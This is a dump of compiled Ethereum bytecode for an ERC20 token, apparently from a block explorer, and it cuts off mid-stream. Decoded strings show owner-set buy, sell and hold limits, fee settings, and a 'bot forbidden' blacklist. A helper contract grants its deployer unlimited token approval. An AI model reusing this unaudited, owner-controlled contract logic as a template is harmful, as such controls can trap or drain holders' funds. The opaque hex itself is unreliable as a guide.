878662002c29565b91505b6200228287620022ea565b620022a7565b62002294868662002c3e565b602d5415620022a757620022a762002bdb565b620022bf8787620022b98589620040b7565b62002d1d565b6000602954118015620022d0575080155b15620022e057620022e062002df4565b50505b5050505050565b6001600160a01b0381163b15620022fe5750565b6001600160a01b03811660009081526013602052604090205460ff1615620023235750565b6001600160a01b03811660009081526012602052604090205460ff16620016fb576001600160a01b03166000818152601260205260408120805460ff191660019081179091556011805491820181559091527f31ecc21a745e3968a04e9570e4425bc18fa8019c68028196b546d1669c200c680180546001600160a01b0319169091179055565b620012f55b6009546001600160a01b03163314620012f55760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640162001144565b600980546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b03831660009081526020819052604090205481811015620024d75760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840162001144565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350505050565b600880546001600160a01b0319166001600160a01b038516179055604080516002808252606082018352600092602083019080368337019050509050308160008151811062002591576200259162003edc565b60200260200101906001600160a01b031690816001600160a01b0316815250508381600181518110620025c857620025c862003edc565b6001600160a01b039092166020928302919091018201528151620025f3916007919084019062003899565b5060008281526001602081815260408084206fd9447efacd5f9ef847fa881df8e439d080865292528084206006420a90559155600854905163a9059cbb60e01b81526001600160a01b0361100096909601868116600483015260248201939093529194169063a9059cbb906044016020604051808303816000875af115801562002681573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620022e3919062004054565b6001600160a01b038216620026ff5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640162001144565b806002600082825462002713919062003f24565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b600d5460ff1615620011ca57600e5415620027d357600e54811115620027d35760405162461bcd60e51b815260206004820152601b60248201527f65786365656473206f662062757920616d6f756e74204c696d69740000000000604482015260640162001144565b620011ca828262002c3e565b600060305460001480620027f35750603154155b156200280257506000620010cf565b603054600b5462002814919062003f24565b4310156200287d576000601d5460315484620028319190620040cd565b6200283d919062004094565b602f54909150620028659086906001600160a01b03166200285f8487620040b7565b6200245d565b620028728585836200245d565b6001915050620010cf565b5060009392505050565b6000601d54602b54836200289c9190620040cd565b620028a8919062004094565b90506200106d8330836200245d565b600080600560009054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200290e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062002934919062004074565b90506000600560009054906101000a90046001600160a01b03166001600160a01b031663d21220a76040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200298c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620029b2919062004074565b9050600080600560009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa15801562002a0b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062002a31919062004104565b506005546040516370a0823160e01b81526001600160a01b0391821660048201526001600160701b0393841695509190921692506000918616906370a0823190602401602060405180830381865afa15801562002a92573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062002ab8919062003f3a565b6005546040516370a0823160e01b81526001600160a01b039182166004820152919250600091908616906370a0823190602401602060405180830381865afa15801562002b09573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062002b2f919062003f3a565b9050306001600160a01b0387160362002b5d576103e862002b518483620040b7565b11965050505050505090565b6103e862002b518584620040b7565b600d5460ff16801562002b8157506000600f54115b15620016fb57600f54811115620016fb5760405162461bcd60e51b815260206004820152601c60248201527f65786365656473206f662073656c6c20616d6f756e74204c696d697400000000604482015260640162001144565b603354600160a01b900460ff161562002bf057565b30600090815260208190526040902054602e548110620016fb576000601e548262002c1c919062004094565b9050620011ca816200304b565b6000601d54602c54836200289c9190620040cd565b600d5460ff1615620011ca5760105415620011ca576010546040516370a0823160e01b81526001600160a01b038416600482015230906370a0823190602401602060405180830381865afa15801562002c9b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062002cc1919062003f3a565b62002ccd908362003f24565b1115620011ca5760405162461bcd60e51b815260206004820152601c60248201527f65786365656473206f6620686f6c6420616d6f756e74204c696d697400000000604482015260640162001144565b6001600160a01b03831662002d835760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840162001144565b6001600160a01b03821662002de75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840162001144565b6200134b8383836200245d565b43601854601b5462002e07919062003f24565b111562002e1057565b601754479081101562002e205750565b601454604080516318160ddd60e01b815290516000926001600160a01b0316916318160ddd9160048083019260209291908290030181865afa15801562002e6b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062002e91919062003f3a565b601154909150600090819081908180805a90505b6019548310801562002eb657508382105b156200303c5783601a541062002ed1576000601a556200303c565b6011601a548154811062002ee95762002ee962003edc565b60009182526020808320909101546001600160a01b0316808352601390915260409091205490975060ff1662002ff1576014546040516370a0823160e01b81526001600160a01b038981166004830152909116906370a0823190602401602060405180830381865afa15801562002f64573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062002f8a919062003f3a565b9550601654861062002ff1578762002fa3878b620040cd565b62002faf919062004094565b9450841562002ff1576040516001600160a01b0388169086156108fc029087906000818181858888f1935050505015801562002fef573d6000803e3d6000fd5b505b5a62002ffe9082620040b7565b6200300a908462003f24565b92505a601a80549192506000620030218362003f08565b91905055508180620030339062003f08565b92505062002ea5565b505043601b5550505050505050565b6033805460ff60a01b1916600160a01b179055602a54600090156200309857601d54602a546200307c9084620040cd565b62003088919062004094565b905062003098306001836200245d565b60285460009015620030e557601d54602854620030b69085620040cd565b620030c2919062004094565b603254603354919250620030e59183916001600160a01b039081169116620033ba565b600081620030f48486620040b7565b620031009190620040b7565b9050600060275411806200311657506000602954115b8015620031235750600081115b15620033a757603354620031429082906001600160a01b031662003734565b6008546033546040516370a0823160e01b81526001600160a01b03918216600482015260009291909116906370a0823190602401602060405180830381865afa15801562003194573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620031ba919062003f3a565b905060008060275411156200328157602954602754620031db919062003f24565b602754620031ea9084620040cd565b620031f6919062004094565b6008546033546032546040516323b872dd60e01b81526001600160a01b03928316600482015290821660248201526044810184905292935016906323b872dd906064016020604051808303816000875af115801562003259573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200327f919062004054565b505b80821115620033a4576008546033546001600160a01b03918216916323b872dd911630620032b08587620040b7565b6040516001600160e01b031960e086901b1681526001600160a01b03938416600482015292909116602483015260448201526064016020604051808303816000875af115801562003305573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200332b919062004054565b506008546040516370a0823160e01b8152306004820152620033a4916001600160a01b0316906370a0823190602401602060405180830381865afa15801562003378573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200339e919062003f3a565b620037a0565b50505b50506033805460ff60a01b191690555050565b6000620033c960028562004094565b905060006007600181548110620033e457620033e462003edc565b60009182526020822001546040516370a0823160e01b81526001600160a01b038681166004830152909116925082906370a0823190602401602060405180830381865afa1580156200343a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062003460919062003f3a565b600654604051635c11d79560e01b81529192506001600160a01b031690635c11d795906200349d9086906000906007908a9042906004016200414f565b600060405180830381600087803b158015620034b857600080fd5b505af1158015620034cd573d6000803e3d6000fd5b50506040516370a0823160e01b81526001600160a01b03878116600483015260009350851691506370a0823190602401602060405180830381865afa1580156200351b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062003541919062003f3a565b90506000620035518383620040b7565b6040516323b872dd60e01b81526001600160a01b03888116600483015230602483015260448201839052919250908516906323b872dd906064016020604051808303816000875af1158015620035ab573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620035d1919062004054565b50600081118015620035ee57506000620035ec868a620040b7565b115b156200372a57600654600780546001600160a01b039092169163e8e33700919060009062003620576200362062003edc565b600091825260209091200154600780546001600160a01b0390921691600190811062003650576200365062003edc565b6000918252602090912001546001600160a01b031662003671898d620040b7565b856000808e6200368342600962003f24565b60405160e08a901b6001600160e01b03191681526001600160a01b039889166004820152968816602488015260448701959095526064860193909352608485019190915260a484015290921660c482015260e4810191909152610104016060604051808303816000875af115801562003700573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200372691906200418d565b5050505b5050505050505050565b600654604051635c11d79560e01b81526001600160a01b0390911690635c11d7959062003770908590600090600790879042906004016200414f565b600060405180830381600087803b1580156200378b57600080fd5b505af115801562001c80573d6000803e3d6000fd5b600854604051602481018390526000916001600160a01b03169060440160408051601f198184030181529181526020820180516001600160e01b0316632e1a7d4d60e01b17905251620037f49190620041bc565b6000604051808303816000865af19150503d806000811462003833576040519150601f19603f3d011682016040523d82523d6000602084013e62003838565b606091505b5050905080620011ca5760405162461bcd60e51b815260206004820152601960248201527f5769746864726177616c206f662057455448206661696c656400000000000000604482015260640162001144565b61014780620041db83390190565b828054828255906000526020600020908101928215620038f1579160200282015b82811115620038f157825182546001600160a01b0319166001600160a01b03909116178255602090920191600190910190620038ba565b50620038ff92915062003903565b5090565b5b80821115620038ff576000815560010162003904565b60005b83811015620039375781810151838201526020016200391d565b50506000910152565b6020815260008251806020840152620039618160408501602087016200391a565b601f01601f19169190910160400192915050565b6001600160a01b0381168114620016fb57600080fd5b600080604083850312156200399f57600080fd5b8235620039ac8162003975565b946020939093013593505050565b600060208284031215620039cd57600080fd5b5035919050565b8015158114620016fb57600080fd5b60008060008060808587031215620039fa57600080fd5b843562003a0781620039d4565b966020860135965060408601359560600135945092505050565b60008060006060848603121562003a3757600080fd5b833562003a448162003975565b9250602084013562003a568162003975565b929592945050506040919091013590565b60008060006060848603121562003a7d57600080fd5b8335925060208401359150604084013562003a988162003975565b809150509250925092565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff8111828210171562003ae55762003ae562003aa3565b604052919050565b600067ffffffffffffffff82111562003b0a5762003b0a62003aa3565b5060051b60200190565b600082601f83011262003b2657600080fd5b8135602062003b3f62003b398362003aed565b62003ab9565b82815260059290921b8401810191818101908684111562003b5f57600080fd5b8286015b8481101562003b8757803562003b798162003975565b835291830191830162003b63565b509695505050505050565b60006020828403121562003ba557600080fd5b813567ffffffffffffffff81111562003bbd57600080fd5b62003bcb8482850162003b14565b949350505050565b60006020828403121562003be657600080fd5b8135620010cf8162003975565b6000806040838503121562003c0757600080fd5b50508035926020909101359150565b6020808252825182820181905260009190848201906040850190845b8181101562003c595783516001600160a01b03168352928401929184019160010162003c32565b50909695505050505050565b6000806040838503121562003c7957600080fd5b823567ffffffffffffffff81111562003c9157600080fd5b62003c9f8582860162003b14565b925050602083013562003cb281620039d4565b809150509250929050565b6000806040838503121562003cd157600080fd5b823562003cde8162003975565b9150602083013562003cb281620039d4565b6000806040838503121562003d0457600080fd5b823562003d118162003975565b9150602083013562003cb28162003975565b6000806000806080858703121562003d3a57600080fd5b5050823594602084013594506040840135936060013592509050565b6000806040838503121562003d6a57600080fd5b82359150602083013567ffffffffffffffff81111562003d8957600080fd5b62003d978582860162003b14565b9150509250929050565b6000806040838503121562003db557600080fd5b823567ffffffffffffffff8082111562003dce57600080fd5b818501915085601f83011262003de357600080fd5b8135602062003df662003b398362003aed565b82815260059290921b8401810191818101908984111562003e1657600080fd5b948201945b8386101562003e365785358252948201949082019062003e1b565b9650508601359250508082111562003e4d57600080fd5b5062003d978582860162003b14565b600181811c9082168062003e7157607f821691505b60208210810362003e9257634e487b7160e01b600052602260045260246000fd5b50919050565b60208082526024908201527f4e6f4566666563743a2063616c6c6572206973206e6f7420746865206566666560408201526331ba37b960e11b606082015260800190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006001820162003f1d5762003f1d62003ef2565b5060010190565b808201808211156200106d576200106d62003ef2565b60006020828403121562003f4d57600080fd5b5051919050565b6000815480845260208085019450836000528060002060005b8381101562003f945781546001600160a01b03168752958201956001918201910162003f6d565b509495945050505050565b82815260406020820152600062003bcb604083018462003f54565b6000602080838503121562003fce57600080fd5b825167ffffffffffffffff81111562003fe657600080fd5b8301601f8101851362003ff857600080fd5b80516200400962003b398262003aed565b81815260059190911b820183019083810190878311156200402957600080fd5b928401925b8284101562004049578351825292840192908401906200402e565b979650505050505050565b6000602082840312156200406757600080fd5b8151620010cf81620039d4565b6000602082840312156200408757600080fd5b8151620010cf8162003975565b600082620040b257634e487b7160e01b600052601260045260246000fd5b500490565b818103818111156200106d576200106d62003ef2565b80820281158282048414176200106d576200106d62003ef2565b80516001600160701b0381168114620040ff57600080fd5b919050565b6000806000606084860312156200411a57600080fd5b6200412584620040e7565b92506200413560208501620040e7565b9150604084015163ffffffff8116811462003a9857600080fd5b85815284602082015260a0604082015260006200417060a083018662003f54565b6001600160a01b0394909416606083015250608001529392505050565b600080600060608486031215620041a357600080fd5b8351925060208401519150604084015190509250925092565b60008251620041d08184602087016200391a565b919091019291505056fe608060405234801561001057600080fd5b5060405161014738038061014783398101604081905261002f916100a8565b60405163095ea7b360e01b815233600482015260001960248201526001600160a01b0382169063095ea7b3906044016020604051808303816000875af115801561007d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100a191906100d8565b50506100fa565b6000602082840312156100ba57600080fd5b81516001600160a01b03811681146100d157600080fd5b9392505050565b6000602082840312156100ea57600080fd5b815180151581146100d157600080fd5b603f806101086000396000f3fe6080604052600080fdfea2646970667358221220e88ec2fbe2c587c6df30087e5b582bba9c7824635fc435b96504f6a14b9bcd5964736f6c63430008110033a2646970667358221220a296daa59ed917277510c5cee2302d6d70575280f75f188d727c264b5108be2364736f6c63430008110033608060405234801561001057600080fd5b5060405161014738038061014783398101604081905261002f916100a8565b60405163095ea7b360e01b815233600482015260001960248201526001600160a01b0382169063095ea7b3906044016020604051808303816000875af115801561007d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100a191906100d8565b50506100fa565b6000602082840312156100ba57600080fd5b81516001600160a01b03811681146100d157600080fd5b9392505050565b6000602082840312156100ea57600080fd5b815180151581146100d157600080fd5b603f806101086000396000f3fe6080604052600080fdfea2646970667358221220e88ec2fbe2c587c6df30087e5b582bba9c7824635fc435b96504f6a14b9bcd5964736f6c634300081100334e6f4566666563743a2063616c6c6572206973206e6f74207468652065666665

Deployed Bytecode

0x608060405260043610620005075760003560e01c80638f5299121162000293578063c1e9afa2116200015f578063ec4dbb3011620000d1578063f7a46ec51162000090578063f7a46ec51462000f09578063f887ea401462000f21578063faee3dd41462000f43578063fdef69491462000f5b578063fe98e00c1462000f73578063fefe84fd1462000f9857600080fd5b8063ec4dbb301462000e6a578063f0a7c6d81462000e8f578063f2fde38b1462000ea7578063f3f48fdc1462000ecc578063f4a3ff3d1462000ee457600080fd5b8063d36e8239116200011e578063d36e82391462000dc9578063d4d7b19a1462000de1578063d8d3d4471462000e15578063dd54ef6e1462000e2d578063dd62ed3e1462000e4557600080fd5b8063c1e9afa21462000d1e578063c54e44eb1462000d36578063c8a528941462000d58578063c9567bf91462000d7d578063ca0277761462000d9557600080fd5b8063a8aa1b311162000205578063b6d6303011620001c4578063b6d630301462000c6a578063b90922b81462000c8c578063b9f8d0d71462000ca4578063ba033c111462000cc9578063bcc100f11462000ce1578063bdf7a8e61462000cf957600080fd5b8063a8aa1b311462000bc1578063a9059cbb1462000be3578063ae9163291462000c08578063b572fe341462000c2d578063b66e49c71462000c5257600080fd5b80639c27242b11620002525780639c27242b1462000b255780639d6109f81462000b3d5780639ffecfb71462000b55578063a21f31101462000b7a578063a457c2d71462000b9c57600080fd5b80638f5299121462000a8657806395d89b411462000a9e578063961d3cd31462000ab6578063996d03091462000adb57806399f7d6731462000b0057600080fd5b80633812e91411620003d35780635b7b15c311620003455780636e4db58711620003045780636e4db58714620009c257806370a0823114620009e4578063715018a61462000a1e57806373724dd51462000a36578063864e18271462000a4e5780638da5cb5b1462000a6657600080fd5b80635b7b15c314620009215780635fe8e7cc146200094657806360f52141146200096d578063622565891462000985578063673687b7146200099d57600080fd5b80634c7552d611620003925780634c7552d614620008785780634e6b805e146200089a57806353674ba614620008bf57806359102a0714620008e45780635990985814620008fc57600080fd5b80633812e91414620007ce5780633950935114620007e657806339a74c8c146200080b5780633bbac5791462000823578063438d64e1146200086057600080fd5b80632a11ced011620004795780632c20aafa11620004385780632c20aafa146200071c5780632dab693f14620007345780632f8a21bf146200074c578063313ce567146200076657806331c71f4d146200078457806333f96f4614620007a957600080fd5b80632a11ced014620006945780632a29ad3b14620006b95780632a59551214620006d15780632b0e258e14620006e95780632b20fafe146200070157600080fd5b80631a2e207911620004c65780631a2e207914620005df5780632287fcb7146200061a57806323b872dd146200063f578063240d7d71146200066457806326987b60146200067c57600080fd5b806306fdde031462000514578063095ea7b31462000544578063155fc50d146200057a57806316f9a5ec14620005a157806318160ddd14620005c857600080fd5b366200050f57005b600080fd5b3480156200052157600080fd5b506200052c62000fbd565b6040516200053b919062003940565b60405180910390f35b3480156200055157600080fd5b5062000569620005633660046200398b565b62001057565b60405190151581526020016200053b565b3480156200058757600080fd5b506200059260185481565b6040519081526020016200053b565b348015620005ae57600080fd5b50620005c6620005c0366004620039ba565b62001073565b005b348015620005d557600080fd5b5060025462000592565b348015620005ec57600080fd5b5060335462000601906001600160a01b031681565b6040516001600160a01b0390911681526020016200053b565b3480156200062757600080fd5b50620005c662000639366004620039e3565b62001082565b3480156200064c57600080fd5b50620005696200065e36600462003a21565b620010ac565b3480156200067157600080fd5b506200059260205481565b3480156200068957600080fd5b5062000592601a5481565b348015620006a157600080fd5b5062000601620006b3366004620039ba565b620010d6565b348015620006c657600080fd5b506200059260255481565b348015620006de57600080fd5b5062000592601b5481565b348015620006f657600080fd5b506200059260165481565b3480156200070e57600080fd5b50600b546001111562000569565b3480156200072957600080fd5b5062000592601e5481565b3480156200074157600080fd5b506200059260305481565b3480156200075957600080fd5b50600b5460011062000569565b3480156200077357600080fd5b50604051601281526020016200053b565b3480156200079157600080fd5b50620005c6620007a336600462003a67565b62001101565b348015620007b657600080fd5b50620005c6620007c836600462003b92565b62001177565b348015620007db57600080fd5b5062000592602b5481565b348015620007f357600080fd5b5062000569620008053660046200398b565b620011ce565b3480156200081857600080fd5b506200059260245481565b3480156200083057600080fd5b50620005696200084236600462003bd3565b6001600160a01b03166000908152601c602052604090205460ff1690565b3480156200086d57600080fd5b506200059260315481565b3480156200088557600080fd5b5060085462000601906001600160a01b031681565b348015620008a757600080fd5b50620005c6620008b936600462003bf3565b620011f6565b348015620008cc57600080fd5b50620005c6620008de366004620039ba565b6200120b565b348015620008f157600080fd5b5062000592602d5481565b3480156200090957600080fd5b50620005c66200091b366004620039ba565b62001253565b3480156200092e57600080fd5b50620005c662000940366004620039ba565b62001262565b3480156200095357600080fd5b506200095e62001271565b6040516200053b919062003c16565b3480156200097a57600080fd5b506200059260285481565b3480156200099257600080fd5b50620005c6620012d4565b348015620009aa57600080fd5b50620005c6620009bc36600462003c65565b620012f7565b348015620009cf57600080fd5b5060325462000601906001600160a01b031681565b348015620009f157600080fd5b506200059262000a0336600462003bd3565b6001600160a01b031660009081526020819052604090205490565b34801562000a2b57600080fd5b50620005c662001350565b34801562000a4357600080fd5b50620005c662001366565b34801562000a5b57600080fd5b5062000592600b5481565b34801562000a7357600080fd5b506009546001600160a01b031662000601565b34801562000a9357600080fd5b506200059260175481565b34801562000aab57600080fd5b506200052c62001436565b34801562000ac357600080fd5b50620005c662000ad536600462003cbd565b62001447565b34801562000ae857600080fd5b50620005c662000afa36600462003cbd565b6200147c565b34801562000b0d57600080fd5b50620005c662000b1f36600462003cf0565b620014b1565b34801562000b3257600080fd5b5062000592602c5481565b34801562000b4a57600080fd5b50620005c662001568565b34801562000b6257600080fd5b506200059262000b74366004620039ba565b6200158c565b34801562000b8757600080fd5b5060145462000601906001600160a01b031681565b34801562000ba957600080fd5b506200056962000bbb3660046200398b565b6200164a565b34801562000bce57600080fd5b5060055462000601906001600160a01b031681565b34801562000bf057600080fd5b506200056962000c023660046200398b565b620016d6565b34801562000c1557600080fd5b50620005c662000c2736600462003bd3565b620016e6565b34801562000c3a57600080fd5b50620005c662000c4c36600462003cbd565b620016fe565b34801562000c5f57600080fd5b50620005c662001733565b34801562000c7757600080fd5b50602f5462000601906001600160a01b031681565b34801562000c9957600080fd5b506200059260195481565b34801562000cb157600080fd5b50620005c662000cc336600462003d23565b62001744565b34801562000cd657600080fd5b506200059260265481565b34801562000cee57600080fd5b5062000592601f5481565b34801562000d0657600080fd5b50620005c662000d1836600462003d56565b62001772565b34801562000d2b57600080fd5b506200059260215481565b34801562000d4357600080fd5b5060155462000601906001600160a01b031681565b34801562000d6557600080fd5b50620005c662000d7736600462003da1565b620017bd565b34801562000d8a57600080fd5b50620005c662001824565b34801562000da257600080fd5b506200056962000db436600462003bd3565b60136020526000908152604090205460ff1681565b34801562000dd657600080fd5b5062000592602e5481565b34801562000dee57600080fd5b506200056962000e0036600462003bd3565b60126020526000908152604090205460ff1681565b34801562000e2257600080fd5b506200059260275481565b34801562000e3a57600080fd5b506200059260225481565b34801562000e5257600080fd5b506200059262000e6436600462003cf0565b62001834565b34801562000e7757600080fd5b50620005c662000e8936600462003a21565b6200185f565b34801562000e9c57600080fd5b5062000592601d5481565b34801562000eb457600080fd5b50620005c662000ec636600462003bd3565b62001918565b34801562000ed957600080fd5b506200059260295481565b34801562000ef157600080fd5b50620005c662000f0336600462003d23565b62001994565b34801562000f1657600080fd5b50620005c6620019bc565b34801562000f2e57600080fd5b5060065462000601906001600160a01b031681565b34801562000f5057600080fd5b5062000592602a5481565b34801562000f6857600080fd5b506200059260235481565b34801562000f8057600080fd5b50620005c662000f9236600462003c65565b620019cd565b34801562000fa557600080fd5b50620005c662000fb736600462003cf0565b62001a45565b60606003805462000fce9062003e5c565b80601f016020809104026020016040519081016040528092919081815260200182805462000ffc9062003e5c565b80156200104d5780601f1062001021576101008083540402835291602001916200104d565b820191906000526020600020905b8154815290600101906020018083116200102f57829003601f168201915b5050505050905090565b6000336200106781858562001ddb565b60019150505b92915050565b6200107d62001f03565b601855565b6200108c62001f03565b600d805460ff191694151594909417909355600e91909155600f55601055565b600033620010bc85828562001f46565b620010c985858562001fc1565b60019150505b9392505050565b60118181548110620010e757600080fd5b6000918252602090912001546001600160a01b0316905081565b600a546001600160a01b03163314806200112557506009546001600160a01b031633145b6200114d5760405162461bcd60e51b8152600401620011449062003e98565b60405180910390fd5b603192909255603055602f80546001600160a01b0319166001600160a01b03909216919091179055565b6200118162001f03565b60005b8151811015620011ca57620011b5828281518110620011a757620011a762003edc565b6020026020010151620022ea565b80620011c18162003f08565b91505062001184565b5050565b60003362001067818585620011e4838362001834565b620011f0919062003f24565b62001ddb565b6200120062001f03565b601691909155601755565b600a546001600160a01b03163314806200122f57506009546001600160a01b031633145b6200124e5760405162461bcd60e51b8152600401620011449062003e98565b602e55565b6200125d62001f03565b601955565b6200126c620023aa565b600b55565b606060118054806020026020016040519081016040528092919081815260200182805480156200104d57602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311620012ac575050505050905090565b620012de62001f03565b600d5460ff1615620012f557600d805460ff191690555b565b62001301620023af565b60005b82518110156200134b576200133683828151811062001327576200132762003edc565b6020026020010151836200147c565b80620013428162003f08565b91505062001304565b505050565b6200135a620023af565b620012f560006200240b565b602354601f5462001378919062003f24565b6027556024546020546200138d919062003f24565b602855602554602154620013a2919062003f24565b602955602654602254620013b7919062003f24565b602a55602254602154602054601f54620013d2919062003f24565b620013de919062003f24565b620013ea919062003f24565b602b5560265460255460245460235462001405919062003f24565b62001411919062003f24565b6200141d919062003f24565b602c819055602b5462001431919062003f24565b602d55565b60606004805462000fce9062003e5c565b6200145162001f03565b6001600160a01b03919091166000908152600c60205260409020805460ff1916911515919091179055565b62001486620023af565b6001600160a01b03919091166000908152601c60205260409020805460ff1916911515919091179055565b600a546001600160a01b0316331480620014d557506009546001600160a01b031633145b620014f45760405162461bcd60e51b8152600401620011449062003e98565b6040516370a0823160e01b8152306004820152620011ca90839083906001600160a01b038316906370a0823190602401602060405180830381865afa15801562001542573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000e89919062003f3a565b6200157262001f03565b600d5460ff16620012f557600d805460ff19166001179055565b60065460405163d06ca61f60e01b815260009182916001600160a01b039091169063d06ca61f90620015c690869060079060040162003f9f565b600060405180830381865afa158015620015e4573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526200160e919081019062003fba565b905060018151111562001641578060018151811062001631576200163162003edc565b6020026020010151915050919050565b50600092915050565b600033816200165a828662001834565b905083811015620016bc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840162001144565b620016cb828686840362001ddb565b506001949350505050565b6000336200106781858562001fc1565b620016f062001f03565b620016fb81620022ea565b50565b6200170862001f03565b6001600160a01b03919091166000908152601360205260409020805460ff1916911515919091179055565b6200173d620023aa565b6000600b55565b6200174e620023af565b60238490556024839055602582905560268190556200176c62001366565b50505050565b60005b81518110156200134b57620017a83383838151811062001799576200179962003edc565b6020026020010151856200245d565b80620017b48162003f08565b91505062001775565b60005b81518110156200134b576200180f33838381518110620017e457620017e462003edc565b602002602001015185848151811062001801576200180162003edc565b60200260200101516200245d565b806200181b8162003f08565b915050620017c0565b6200182e620023aa565b43600b55565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b600a546001600160a01b03163314806200188357506009546001600160a01b031633145b620018a25760405162461bcd60e51b8152600401620011449062003e98565b60405163a9059cbb60e01b81526001600160a01b0383811660048301526024820183905284169063a9059cbb906044016020604051808303816000875af1158015620018f2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200176c919062004054565b62001922620023af565b6001600160a01b038116620019895760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840162001144565b620016fb816200240b565b6200199e620023af565b601f8490556020839055602182905560228190556200176c62001366565b620019c6620023aa565b6001600b55565b620019d762001f03565b60005b82518110156200134b5781600c6000858481518110620019fe57620019fe62003edc565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558062001a3c8162003f08565b915050620019da565b62001a4f62001f03565b601480546001600160a01b039384166001600160a01b03199182161790915560158054929093169116179055565b600680546001600160a01b0319166001600160a01b0384169081179091556040805163c45a015560e01b815290516000929163c45a01559160048083019260209291908290030181865afa15801562001ada573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062001b00919062004074565b6040516364e329cb60e11b81526001600160a01b038481166004830152306024830152919091169063c9c65396906044016020604051808303816000875af115801562001b51573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062001b77919062004074565b600580546001600160a01b0319166001600160a01b0392909216918217905562001ba590839085906200253e565b60085460405163095ea7b360e01b81526001600160a01b03858116600483015260001960248301529091169063095ea7b3906044016020604051808303816000875af115801562001bfa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062001c20919062004054565b5062001c30308460001962001ddb565b506005546001600160a01b031692915050565b6200134b600184848462001082565b62001c5e868662001a45565b62001c6a8484620011f6565b62001c758262001073565b62001c808162001253565b505050505050565b612710601d8190556007601e5562001cb39062001ca760648862004094565b620008de919062004094565b603280546001600160a01b0319166001600160a01b03861617905562001cda8386620026a7565b62001ce733600162001447565b62001cf430600162001447565b62001d0184600162001447565b62001d0e83600162001447565b801562001d6d5762001d22306001620016fe565b62001d3060006001620016fe565b62001d3d600180620016fe565b62001d4c61dead6001620016fe565b62001d5784620016e6565b62001d6283620016e6565b62001d6d33620016e6565b62001d7762001366565b8160405162001d86906200388b565b6001600160a01b039091168152602001604051809103906000f08015801562001db3573d6000803e3d6000fd5b50603380546001600160a01b0319166001600160a01b03929092169190911790555050505050565b6001600160a01b03831662001e3f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840162001144565b6001600160a01b03821662001ea25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840162001144565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600a546001600160a01b031633148062001f2757506009546001600160a01b031633145b620012f55760405162461bcd60e51b8152600401620011449062003e98565b600062001f54848462001834565b905060001981146200176c578181101562001fb25760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640162001144565b6200176c848484840362001ddb565b6001600160a01b0383166000908152601c6020526040902054839060ff16156200201e5760405162461bcd60e51b815260206004820152600d60248201526c3137ba103337b93134b23232b760991b604482015260640162001144565b6001600160a01b0383166000908152601c6020526040902054839060ff16156200207b5760405162461bcd60e51b815260206004820152600d60248201526c3137ba103337b93134b23